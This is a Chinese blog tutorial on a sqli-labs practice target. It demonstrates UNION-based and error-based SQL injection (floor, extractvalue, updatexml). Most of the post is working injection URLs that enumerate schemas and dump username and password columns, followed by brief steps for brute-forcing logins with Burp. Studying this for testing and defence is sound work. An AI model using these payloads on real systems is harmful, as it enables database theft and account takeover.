渗透测试-SQL注入之union联合注入和报错注入

SQL注入之union联合注入和报错注入

前言

一、什么是union联合注入和报错注入

union联合注入又称联合查询注入,是当应用程序容易受到 SQL 注入攻击,并且查询结果在应用程序的响应中返回时,可使用 UNION 关键字从数据库的其他表检索数据。这就导致了 UNION 注入攻击。
UNION 关键字可以一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。

报错注入是通过构造payload让信息通过错误提示回显回来,从而得到想利用的用户信息。

二、union联合注入和报错注入

1.union联合注入

这里我们利用sqli-labs靶机进行练习,然后通过查询库,表,表中的字段和表中的数据,一步一步把用户信息获取到手,这里可以利用数据库的核心语法进行注入查询

select schema_name from information_schema.schemata(查库)
select table_name from information_schema.tables where table_schema=库名(查表)
select column_name from information_schema.colums where table_name=表名(差列)
select 列名 from 库名.表名(查数据)

(1)获取数据库
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+
在这里插入图片描述
查看指定的security表
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
在这里插入图片描述
查看表中的字段
http://127.0.0.1/sqli-labs/Less-1/?id=’ union select 1,2,
(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
在这里插入图片描述
查看表中的数据
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(username,0x7e,password) from security.users)–+
在这里插入图片描述
获取信息成功,然后将得到的信息进行收集起来,进行枚举登录

查看个别用户的信息
http://127.0.0.1/sqli-labs/Less-1/?id=’ union select 1,2,(select concat_ws(‘.’,username,password) from users limit 0,1)–+

这里大家可以尝试用burp进行枚举爆破
抓包进行重发
在这里插入图片描述
发送到攻击模块,设置参数
设置枚举的地方,进行爆破
在这里插入图片描述
在这里插入图片描述
在options位置设置获取的信息
在这里插入图片描述
点击攻击
在这里插入图片描述
获取信息成功。

2.报错注入

有三种报错注入方法
floor()报错方法
group by对rand()函数进行 操作是产生错误
select count(*) from information_schema.tables group by concat(selcect version(),floor(rand(0)*2));

查询版本
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)2)))–+
在这里插入图片描述
查询当前的用户
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and (select count(
) from information_schema.tables group by concat(0x7e,(select user()),0x7e,floor(rand(0)*2)))–+(0x7e==‘~’)(floor(rand(0)2)==1)
在这里插入图片描述
查看数据库中的表
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and (select count(
) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)2)))–+
通过设置后面的limit 后的参数为3时,出现users,用户信息应该在这个地方
在这里插入图片描述
当为4时,没有出现报错信息,说明只有4个表
在这里插入图片描述
查看user中的表
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and (select count(
) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 1,1),0x7e,floor(rand(0)*2)))–+
在这里插入图片描述
前3个为登录信息字段,username,password

查看表中的数据
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and (select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,‘~’,password) from users limit 1,1),0x7e,floor(rand(0)*2)))–+
在这里插入图片描述
(2)extractvalue(),updatexml()报错注入
(XPATH语法错误产生报错)

http://192.168.222.4/sqli-labs/Less-1/?id=1’ and extractvalue(1, concat(0x7e,(select user()),0x7e))–+//三个参数
在这里插入图片描述
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and updatexml(1, concat(0x7e,(select version()),0x7e),1)–+ 四个参数

查看当前的数据库的表
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)–+

查看表中的字段,多少列
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 2,1),0x7e),1)–+

查看表中的字段数据
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and updatexml(1, concat(0x7e,(select concat(username,‘~’,password) from users limit 2,1),0x7e),1)–+

截取密码字段,解决字段过长问题
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and updatexml(1, concat(0x7e,(select substr(concat(password),2,3) from users limit 0,1),0x7e),1)–+ 四个参数(选取密码第2个数字后3个数字)

上面的查询结果跟第一个floor报错方法一样这里就不提供截图了。

总结

本次实验是对SQL注入几种方法的利用和掌握,学会用注入方法获取数据库信息,为后面的渗透提权做铺垫。

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值